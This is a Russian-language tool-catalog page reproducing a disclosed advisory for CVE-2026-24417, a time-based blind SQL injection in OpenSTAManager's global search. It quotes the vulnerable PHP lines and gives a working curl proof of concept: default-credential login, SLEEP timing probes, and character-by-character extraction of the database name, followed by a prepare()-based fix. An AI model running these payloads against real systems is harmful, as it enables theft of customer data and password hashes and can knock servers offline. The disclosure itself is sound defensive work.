Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24417 — CVE-2026-24417 — OpenSTAManager подвержен слепой SQL-инъекции на основе времени с усиленным отказом в обслуживании (Amplified Denial of Service) | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-24417
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHublukasz-rybak/cve-2026-24417

CVE-2026-24417

CVE-2026-24417 — OpenSTAManager подвержен слепой SQL-инъекции на основе времени с усиленным отказом в обслуживании (Amplified Denial of Service)

Репозиторий
165 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24417: OpenSTAManager подвержен Time-Based Blind SQL-инъекции с усиленным отказом в обслуживании

Обзор

ПолеДетали
Идентификатор CVECVE-2026-24417
СерьёзностьВЫСОКАЯ
УведомлениеПросмотр уведомления
ОбнаружилLukasz Rybak

Затронутые продукты

  • devcode-it/openstamanager (версии: < 2.9.8)

Классификация CWE

  • CWE-89: Неправильная нейтрализация специальных элементов, используемых в SQL-команде ('SQL Injection')

Детали

Краткое описание

Критическая уязвимость Time-Based Blind SQL-инъекции, затрагивающая несколько модулей поиска в OpenSTAManager v2.9.8, позволяет аутентифицированным злоумышленникам извлекать конфиденциальное содержимое базы данных, включая хеши паролей, данные клиентов и финансовые записи, с помощью time-based атак на основе Boolean-инференса с усиленным выполнением в 10+ модулях.

Статус: ✅ Подтверждено и протестировано на реальном экземпляре (v2.9.8) Уязвимый параметр: term (GET) Затронутая конечная точка: /ajax_search.php Затронутые модули: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi

Подробности

OpenSTAManager v2.9.8 содержит критическую уязвимость Time-Based Blind SQL-инъекции в функциональности глобального поиска. Приложение не выполняет надлежащую санитизацию параметра term перед использованием его в SQL-предложениях LIKE в нескольких обработчиках поиска модулей, что позволяет злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные с помощью time-based Boolean-инференса.

Цепочка уязвимости:

  1. Точка входа: /ajax_search.php (строки 30-31)

    $term = get('term');
    $term = str_replace('/', '\\/', $term);
    

    Параметр $term проходит минимальную санитизацию (только замена слэша).

  2. Распространение: /src/AJAX.php::search() (строки 159-161)

    $files = self::find('ajax/search.php');
    array_unshift($files, base_dir().'/ajax_search.php');
    foreach ($files as $file) {
        $module_results = self::getSearchResults($file, $term);
    

    Несанитизированный $term передаётся во все обработчики поиска модулей.

  3. Выполнение: /src/AJAX.php::getSearchResults() (строка 373)

    require $file;
    

    Файл search.php каждого модуля подключается с переменной $term в области видимости.

  4. Уязвимые SQL-запросы: Несколько модулей напрямую конкатенируют $term без prepare()

Все затронутые файлы (10+ уязвимых экземпляров):

  1. /modules/articoli/ajax/search.php - строка 51 (ОСНОВНОЙ ПРИМЕР)

    foreach ($fields as $name => $value) {
        $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    }
    $rs = $dbo->fetchArray($query);
    

    Воздействие: Прямая конкатенация без prepare() позволяет выполнить полную SQL-инъекцию.

  2. /modules/ordini/ajax/search.php - строки 43, 47

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
    
  3. /modules/ddt/ajax/search.php - строки 43, 47

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  4. /modules/fatture/ajax/search.php - строки 45, 49

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  5. /modules/preventivi/ajax/search.php - строки 45, 49

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  6. /modules/anagrafiche/ajax/search.php - строки 62, 107, 162

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    
  7. /modules/impianti/ajax/search.php - строка 46

    $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
    

Корректно санитизировано (НЕ уязвимо):

  • /modules/contratti/ajax/search.php - корректно использует prepare()
  • /modules/automezzi/ajax/search.php - корректно использует prepare()

Примечание: Уязвимость обладает усиленным выполнением — один вредоносный запрос одновременно запускает SQL-инъекцию во ВСЕХ уязвимых модулях, что приводит к 10+ выполнениям time-based атак за один запрос, умножая задержку и вызывая ошибки 504 Gateway Time-out, как это наблюдалось на живом демонстрационном экземпляре.

image

PoC

Шаг 1: Вход

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Шаг 2: Проверка уязвимости (Time-Based SLEEP)

# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s

# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s
image

Шаг 3: Извлечение данных - имя базы данных

# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 170.32s

# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 0m0.30s
image

Воздействие

Затронутые пользователи: Все аутентифицированные пользователи с доступом к функциональности глобального поиска.

  • Полная эксфильтрация базы данных, включая персональные данные клиентов (PII), финансовые записи и коммерческие секреты
  • Извлечение хешей паролей для офлайн-взлома
  • Усиленные time-based атаки потребляют в 85 раз больше серверных ресурсов на один запрос

Рекомендуемое исправление:

Замените все случаи прямой конкатенации $term на prepare():

ДО (Уязвимо):

$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

ПОСЛЕ (Исправлено):

$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

Примените это исправление ко ВСЕМ затронутым файлам:

  1. /modules/articoli/ajax/search.php - строка 51
  2. /modules/ordini/ajax/search.php - строки 43, 47, 79
  3. /modules/ddt/ajax/search.php - строки 43, 47, 83
  4. /modules/fatture/ajax/search.php - строки 45, 49, 85
  5. /modules/preventivi/ajax/search.php - строки 45, 49, 83
  6. /modules/anagrafiche/ajax/search.php - строки 62, 107, 162
  7. /modules/impianti/ajax/search.php - строка 46

Ссылки

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24417
  • https://github.com/advisories/GHSA-4hc4-8599-xh2h

Отказ от ответственности

Данный CVE был раскрыт ответственно в соответствии с практикой скоординированного раскрытия уязвимостей. Приведённая здесь информация предназначена только для образовательных и защитных целей.

Скачать инструмент